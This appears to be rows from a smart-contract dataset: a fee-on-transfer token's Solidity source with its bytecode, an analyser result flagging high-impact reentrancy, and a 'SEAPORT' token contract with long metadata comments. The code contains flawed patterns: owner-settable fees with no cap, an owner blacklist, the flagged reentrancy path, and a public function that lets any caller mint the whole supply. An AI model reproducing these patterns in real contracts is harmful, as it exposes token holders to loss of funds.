bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610557578063dd62ed3e14610577578063ea1644d5146105bd578063f2fde38b146105dd57600080fd5b8063a2a957bb146104d2578063a9059cbb146104f2578063bfd7928414610512578063c3c8cd801461054257600080fd5b80638f70ccf7116100d15780638f70ccf7146104505780638f9a55c01461047057806395d89b411461048657806398a5c315146104b257600080fd5b80637d1db4a5146103ef5780637f2feddc146104055780638da5cb5b1461043257600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038557806370a082311461039a578063715018a6146103ba57806374010ece146103cf57600080fd5b8063313ce5671461030957806349bd5a5e146103255780636b999053146103455780636d8aa8f81461036557600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d35780632fd689e3146102f357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611965565b6105fd565b005b34801561020a57600080fd5b5060408051808201909152600b81526a13195d08105c194813dd5d60aa1b60208201525b60405161023b9190611a2a565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a7f565b61069c565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b5069021e19e0c9ba76a536005b60405190815260200161023b565b3480156102df57600080fd5b506102646102ee366004611aab565b6106b3565b3480156102ff57600080fd5b506102c560185481565b34801561031557600080fd5b506040516009815260200161023b565b34801561033157600080fd5b50601554610294906001600160a01b031681565b34801561035157600080fd5b506101fc610360366004611aec565b61071c565b34801561037157600080fd5b506101fc610380366004611b19565b610767565b34801561039157600080fd5b506101fc6107af565b3480156103a657600080fd5b506102c56103b5366004611aec565b6107fa565b3480156103c657600080fd5b506101fc61081c565b3480156103db57600080fd5b506101fc6103ea366004611b34565b610890565b3480156103fb57600080fd5b506102c560165481565b34801561041157600080fd5b506102c5610420366004611aec565b60116020526000908152604090205481565b34801561043e57600080fd5b506000546001600160a01b0316610294565b34801561045c57600080fd5b506101fc61046b366004611b19565b6108bf565b34801561047c57600080fd5b506102c560175481565b34801561049257600080fd5b5060408051808201909152600381526213105560ea1b602082015261022e565b3480156104be57600080fd5b506101fc6104cd366004611b34565b610907565b3480156104de57600080fd5b506101fc6104ed366004611b4d565b610936565b3480156104fe57600080fd5b5061026461050d366004611a7f565b610974565b34801561051e57600080fd5b5061026461052d366004611aec565b60106020526000908152604090205460ff1681565b34801561054e57600080fd5b506101fc610981565b34801561056357600080fd5b506101fc610572366004611b7f565b6109d5565b34801561058357600080fd5b506102c5610592366004611c03565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c957600080fd5b506101fc6105d8366004611b34565b610a76565b3480156105e957600080fd5b506101fc6105f8366004611aec565b610aa5565b6000546001600160a01b031633146106305760405162461bcd60e51b815260040161062790611c3c565b60405180910390fd5b60005b81518110156106985760016010600084848151811061065457610654611c71565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069081611c9d565b915050610633565b5050565b60006106a9338484610b8f565b5060015b92915050565b60006106c0848484610cb3565b610712843361070d85604051806060016040528060288152602001611db7602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ef565b610b8f565b5060019392505050565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161062790611c3c565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107915760405162461bcd60e51b815260040161062790611c3c565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e457506013546001600160a01b0316336001600160a01b0316145b6107ed57600080fd5b476107f781611229565b50565b6001600160a01b0381166000908152600260205260408120546106ad90611263565b6000546001600160a01b031633146108465760405162461bcd60e51b815260040161062790611c3c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161062790611c3c565b601655565b6000546001600160a01b031633146108e95760405162461bcd60e51b815260040161062790611c3c565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109315760405162461bcd60e51b815260040161062790611c3c565b601855565b6000546001600160a01b031633146109605760405162461bcd60e51b815260040161062790611c3c565b600893909355600a91909155600955600b55565b60006106a9338484610cb3565b6012546001600160a01b0316336001600160a01b031614806109b657506013546001600160a01b0316336001600160a01b0316145b6109bf57600080fd5b60006109ca306107fa565b90506107f7816112e7565b6000546001600160a01b031633146109ff5760405162461bcd60e51b815260040161062790611c3c565b60005b82811015610a70578160056000868685818110610a2157610a21611c71565b9050602002016020810190610a369190611aec565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6881611c9d565b915050610a02565b50505050565b6000546001600160a01b03163314610aa05760405162461bcd60e51b815260040161062790611c3c565b601755565b6000546001600160a01b03163314610acf5760405162461bcd60e51b815260040161062790611c3c565b6001600160a01b038116610b345760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610627565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610627565b6001600160a01b038216610c525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610627565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610627565b6001600160a01b038216610d795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610627565b60008111610ddb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610627565b6000546001600160a01b03848116911614801590610e0757506000546001600160a01b03838116911614155b156110e857601554600160a01b900460ff16610ea0576000546001600160a01b03848116911614610ea05760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610627565b601654811115610ef25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610627565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3457506001600160a01b03821660009081526010602052604090205460ff16155b610f8c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610627565b6015546001600160a01b038381169116146110115760175481610fae846107fa565b610fb89190611cb8565b106110115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610627565b600061101c306107fa565b6018546016549192508210159082106110355760165491505b80801561104c5750601554600160a81b900460ff16155b801561106657506015546001600160a01b03868116911614155b801561107b5750601554600160b01b900460ff165b80156110a057506001600160a01b03851660009081526005602052604090205460ff16155b80156110c557506001600160a01b03841660009081526005602052604090205460ff16155b156110e5576110d3826112e7565b4780156110e3576110e347611229565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112a57506001600160a01b03831660009081526005602052604090205460ff165b8061115c57506015546001600160a01b0385811691161480159061115c57506015546001600160a01b03848116911614155b15611169575060006111e3565b6015546001600160a01b03858116911614801561119457506014546001600160a01b03848116911614155b156111a657600854600c55600954600d555b6015546001600160a01b0384811691161480156111d157506014546001600160a01b03858116911614155b156111e357600a54600c55600b54600d555b610a7084848484611470565b600081848411156112135760405162461bcd60e51b81526004016106279190611a2a565b5060006112208486611cd0565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610698573d6000803e3d6000fd5b60006006548211156112ca5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610627565b60006112d461149e565b90506112e083826114c1565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132f5761132f611c71565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138357600080fd5b505afa158015611397573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bb9190611ce7565b816001815181106113ce576113ce611c71565b6001600160a01b0392831660209182029290920101526014546113f49130911684610b8f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142d908590600090869030904290600401611d04565b600060405180830381600087803b15801561144757600080fd5b505af115801561145b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147d5761147d611503565b611488848484611531565b80610a7057610a70600e54600c55600f54600d55565b60008060006114ab611628565b90925090506114ba82826114c1565b9250505090565b60006112e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166c565b600c541580156115135750600d54155b1561151a57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115438761169a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157590876116f7565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a49086611739565b6001600160a01b0389166000908152600260205260409020556115c681611798565b6115d084836117e2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161591815260200190565b60405180910390a3505050505050505050565b600654600090819069021e19e0c9ba76a5360061164582826114c1565b8210156116635750506006549269021e19e0c9ba76a5360092509050565b90939092509050565b6000818361168d5760405162461bcd60e51b81526004016106279190611a2a565b5060006112208486611d75565b60008060008060008060008060006116b78a600c54600d54611806565b92509250925060006116c761149e565b905060008060006116da8e87878761185b565b919e509c509a509598509396509194505050505091939550919395565b60006112e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ef565b6000806117468385611cb8565b9050838110156112e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610627565b60006117a261149e565b905060006117b083836118ab565b306000908152600260205260409020549091506117cd9082611739565b30600090815260026020526040902055505050565b6006546117ef90836116f7565b6006556007546117ff9082611739565b6007555050565b6000808080611820606461181a89896118ab565b906114c1565b90506000611833606461181a8a896118ab565b9050600061184b826118458b866116f7565b906116f7565b9992985090965090945050505050565b600080808061186a88866118ab565b9050600061187888876118ab565b9050600061188688886118ab565b905060006118988261184586866116f7565b939b939a50919850919650505050505050565b6000826118ba575060006106ad565b60006118c68385611d97565b9050826118d38583611d75565b146112e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610627565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f757600080fd5b803561196081611940565b919050565b6000602080838503121561197857600080fd5b823567ffffffffffffffff8082111561199057600080fd5b818501915085601f8301126119a457600080fd5b8135818111156119b6576119b661192a565b8060051b604051601f19603f830116810181811085821117156119db576119db61192a565b6040529182528482019250838101850191888311156119f957600080fd5b938501935b82851015611a1e57611a0f85611955565b845293850193928501926119fe565b98975050505050505050565b600060208083528351808285015260005b81811015611a5757858101830151858201604001528201611a3b565b81811115611a69576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9257600080fd5b8235611a9d81611940565b946020939093013593505050565b600080600060608486031215611ac057600080fd5b8335611acb81611940565b92506020840135611adb81611940565b929592945050506040919091013590565b600060208284031215611afe57600080fd5b81356112e081611940565b8035801515811461196057600080fd5b600060208284031215611b2b57600080fd5b6112e082611b09565b600060208284031215611b4657600080fd5b5035919050565b60008060008060808587031215611b6357600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9457600080fd5b833567ffffffffffffffff80821115611bac57600080fd5b818601915086601f830112611bc057600080fd5b813581811115611bcf57600080fd5b8760208260051b8501011115611be457600080fd5b602092830195509350611bfa9186019050611b09565b90509250925092565b60008060408385031215611c1657600080fd5b8235611c2181611940565b91506020830135611c3181611940565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb157611cb1611c87565b5060010190565b60008219821115611ccb57611ccb611c87565b500190565b600082821015611ce257611ce2611c87565b500390565b600060208284031215611cf957600080fd5b81516112e081611940565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d545784516001600160a01b031683529383019391830191600101611d2f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db157611db1611c87565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122010eefa041713b9b09a8321eba818dd250d695ffe27fda84dbaf6c28793c9093464736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 7,792 |
0x615ffec09febab3df71f82707d72be3b074e0fe3
|
pragma solidity ^0.4.21 ;
contract SEAPORT_Portfolio_VIII_883 {
mapping (address => uint256) public balanceOf;
string public name = " SEAPORT_Portfolio_VIII_883 " ;
string public symbol = " SEAPORT883VIII " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 835546197072062000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
// }
// Programme d'émission - Lignes 1 à 10
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < SEAPORT_Portfolio_VIII_metadata_line_1_____Sovgavan_Port_Limited_20230515 >
// < 6NniN7vm9fOE60LnGT6I805oZjS4kGkLC572t1B82LhVJ200LM4UhDj6LaIrdQmO >
// < 1E-018 limites [ 1E-018 ; 19761758,9288857 ] >
// < 0x0000000000000000000000000000000000000000000000000000000075CA0F08 >
// < SEAPORT_Portfolio_VIII_metadata_line_2_____State_Enterprise_Dikson_Sea_Trade_Port_20230515 >
// < 10kwm576F1QosRN9hK202Km06p84OV37zQUDWlF60U689HNG57BN4x2iwkvc0I7C >
// < 1E-018 limites [ 19761758,9288857 ; 41059313,7369108 ] >
// < 0x00000000000000000000000000000000000000000000000075CA0F08F4BB8C61 >
// < SEAPORT_Portfolio_VIII_metadata_line_3_____Surgut_Port_Spe_Value_20230515 >
// < gc7N7IXGLBVKbyyB2reDM6zHqDob7K0L1gBz544VO7BTD00YbpYgwMl0ZEmqkS7X >
// < 1E-018 limites [ 41059313,7369108 ; 63449433,488897 ] >
// < 0x00000000000000000000000000000000000000000000000F4BB8C6117A3028E8 >
// < SEAPORT_Portfolio_VIII_metadata_line_4_____Taganrog Port of Taganrog_Port_Spe_Value_20230515 >
// < w0qJQtmjG3A7Lg7SNl69cCk5RD2EQ9qzJ16jOo1vuoL23521Izy4OWK0IFODvv7m >
// < 1E-018 limites [ 63449433,488897 ; 85194638,9793359 ] >
// < 0x000000000000000000000000000000000000000000000017A3028E81FBCCB5CD >
// < SEAPORT_Portfolio_VIII_metadata_line_5_____Taganrog_Port_Authority_20230515 >
// < 8G2WaLJPeMAhO92Azr6Zr5f0TGYRAyT696TNVEkWJ0CvBP5OIY0F8FZc7s59heQi >
// < 1E-018 limites [ 85194638,9793359 ; 111291798,222891 ] >
// < 0x00000000000000000000000000000000000000000000001FBCCB5CD29759D0A2 >
// < SEAPORT_Portfolio_VIII_metadata_line_6_____Tara_Port_Spe_Value_20230515 >
// < kZDb9S6po7KNX86y7i2gFdn88L7R5JD1bYZn321W8z33Em22U6qRaDe60eeG0QY9 >
// < 1E-018 limites [ 111291798,222891 ; 130649623,052959 ] >
// < 0x000000000000000000000000000000000000000000000029759D0A230ABB82F5 >
// < SEAPORT_Portfolio_VIII_metadata_line_7_____Temryuk_Port_Authority_20230515 >
// < 9oo9s6SDtdEfMq6sStz743k1THZN7yjIb0535t2ev8658KucdJ29HNGXm8tP3w01 >
// < 1E-018 limites [ 130649623,052959 ; 148518721,227912 ] >
// < 0x000000000000000000000000000000000000000000000030ABB82F53753D976E >
// < SEAPORT_Portfolio_VIII_metadata_line_8_____The_Commercial_Port_of_Vladivostok_JSC_20230515 >
// < uc8Ig43vG6KB32dHYVI5O3ca28fw7pmYXr7fApibE880F54W048saqMs72uxB6f6 >
// < 1E-018 limites [ 148518721,227912 ; 171926247,395874 ] >
// < 0x00000000000000000000000000000000000000000000003753D976E400C2A457 >
// < SEAPORT_Portfolio_VIII_metadata_line_9_____Tiksi Port of Tiksi_Port_Spe_Value_20230515 >
// < 7DGGW6gG2u7bqc91tA4gUj3l0Za0C9puPg5Z2Azz739SC7d4WPZc77WoknU64S7N >
// < 1E-018 limites [ 171926247,395874 ; 199799403,89251 ] >
// < 0x0000000000000000000000000000000000000000000000400C2A4574A6E5B419 >
// < SEAPORT_Portfolio_VIII_metadata_line_10_____Tiksi_Sea_Trade_Port_20230515 >
// < MBdDZ193DFpqKYz35g2Qz8J38gBQ95RxAJbnmS54rI8Xh94C8yZZ5C7Rh9Q6P2nV >
// < 1E-018 limites [ 199799403,89251 ; 215856832,240956 ] >
// < 0x00000000000000000000000000000000000000000000004A6E5B4195069B650C >
// Programme d'émission - Lignes 11 à 20
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < SEAPORT_Portfolio_VIII_metadata_line_11_____Tobolsk_Port_Spe_Value_20230515 >
// < 324RfJK62Q4tRDC8HlhPB8ycIgu6i30ngY031c74c8wjgFJ3H3J4O8LFPS6o6MMm >
// < 1E-018 limites [ 215856832,240956 ; 233690074,829712 ] >
// < 0x00000000000000000000000000000000000000000000005069B650C570E6C36E >
// < SEAPORT_Portfolio_VIII_metadata_line_12_____Tuapse Port of Tuapse_Port_Spe_Value_20230515 >
// < 3vKWkDhcPGFhAvO7SXeY64K2tB75vpoWR5s44XAv5HCkT9Dpp5v16XEi6N36QH2g >
// < 1E-018 limites [ 233690074,829712 ; 258372329,623274 ] >
// < 0x0000000000000000000000000000000000000000000000570E6C36E60404E536 >
// < SEAPORT_Portfolio_VIII_metadata_line_13_____Tuapse_Port_Authorities_20230515 >
// < PvR8614iMRa8sRK23sn6wI541Vnkr12ARZ0o9433SeP0zjNH9Szrz17EvpZNzt1U >
// < 1E-018 limites [ 258372329,623274 ; 279311805,42799 ] >
// < 0x000000000000000000000000000000000000000000000060404E536680D3FFF2 >
// < SEAPORT_Portfolio_VIII_metadata_line_14_____Tver_Port_Spe_Value_20230515 >
// < 8NcSi8Wxs28HODs050OdTI69fF03z8aTnrL74M7V5tBU6NC48AXK1Gwl0P4h5FgE >
// < 1E-018 limites [ 279311805,42799 ; 301372469,406869 ] >
// < 0x0000000000000000000000000000000000000000000000680D3FFF270451E6D0 >
// < SEAPORT_Portfolio_VIII_metadata_line_15_____Tyumen_Port_Spe_Value_20230515 >
// < vIa8efJ6a9QWS9qeD39Sz05u0NXH8Jvs82ZIgaU71txtJUm6MYqyl26olYN04MaN >
// < 1E-018 limites [ 301372469,406869 ; 318059650,336773 ] >
// < 0x000000000000000000000000000000000000000000000070451E6D0767C884DD >
// < SEAPORT_Portfolio_VIII_metadata_line_16_____Ufa_Port_Spe_Value_20230515 >
// < QCg6Hk9sL2V2EL5oo7ImC7FdFEW9vmhTGsk59Fjsk4xdjDwH1grS0TQ741j688T7 >
// < 1E-018 limites [ 318059650,336773 ; 342621780,114441 ] >
// < 0x0000000000000000000000000000000000000000000000767C884DD7FA2F5ACF >
// < SEAPORT_Portfolio_VIII_metadata_line_17_____Uglegorsk Port of Uglegorsk_Port_Spe_Value_20230515 >
// < MQcRabhpnEa02n9z5KagJs2Nnrh54BC6Ta8unp70ug8CH0y38oX1tW53ZUfp727J >
// < 1E-018 limites [ 342621780,114441 ; 371990608,338677 ] >
// < 0x00000000000000000000000000000000000000000000007FA2F5ACF8A93CA155 >
// < SEAPORT_Portfolio_VIII_metadata_line_18_____Uglegorsk_Port_Authority_20230515 >
// < 62BmJZc83i6FS2C5rtGNHTqaSEHudBY8H29VTP99O66y1A06P8EVOWU8MOE2S0Lt >
// < 1E-018 limites [ 371990608,338677 ; 389871128,35345 ] >
// < 0x00000000000000000000000000000000000000000000008A93CA155913D02377 >
// < SEAPORT_Portfolio_VIII_metadata_line_19_____Ulan_Ude_Port_Spe_Value_20230515 >
// < h8EcPt9KN7CtF89BuqJ3k06yn2qG39zQf0tGt6EunZU6mn4A51cbIEcBf6ulbN7j >
// < 1E-018 limites [ 389871128,35345 ; 406054846,930269 ] >
// < 0x0000000000000000000000000000000000000000000000913D02377974468889 >
// < SEAPORT_Portfolio_VIII_metadata_line_20_____Ulyanovsk_Port_Spe_Value_20230515 >
// < 74zy352Iow68YHSv2CEfdS5jH0W99CpQO4o26Jr0ycJ8C9rjIQ4HEU00Ms86h2QK >
// < 1E-018 limites [ 406054846,930269 ; 432927290,027787 ] >
// < 0x0000000000000000000000000000000000000000000000974468889A1472A09E >
// Programme d'émission - Lignes 21 à 30
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < SEAPORT_Portfolio_VIII_metadata_line_21_____Ust Kamchatsk Port of Ust Kamchatsk_Port_Spe_Value_20230515 >
// < DvQEn4E726Gb18YYk7GlR5U9gbS28X2d0V447G3F9yv4VKJMqYw93VRM3CBOWoOX >
// < 1E-018 limites [ 432927290,027787 ; 448857660,399411 ] >
// < 0x0000000000000000000000000000000000000000000000A1472A09EA7366718B >
// < SEAPORT_Portfolio_VIII_metadata_line_22_____Ust_Kamchatsk_Sea_Trade_Port_20230515 >
// < n6WaRbnec8iprzzjvof397GND2e86bsfrC4pY26f5iPd81Ow3Vj6FbO8yfyMsqCV >
// < 1E-018 limites [ 448857660,399411 ; 474285355,8993 ] >
// < 0x0000000000000000000000000000000000000000000000A7366718BB0AF60719 >
// < SEAPORT_Portfolio_VIII_metadata_line_23_____Ust_Luga Port of Ust_Luga_Port_Spe_Value_20230515 >
// < p3d9d3Y8CHYgHcwJOe0Zq2UJ2c0VQPoQ7bhx8T9JZ26pn8RR3N47K5nTH542OpzA >
// < 1E-018 limites [ 474285355,8993 ; 495664373,552418 ] >
// < 0x0000000000000000000000000000000000000000000000B0AF60719B8A63D1DF >
// < SEAPORT_Portfolio_VIII_metadata_line_24_____Ust_Luga_Sea_Port_20230515 >
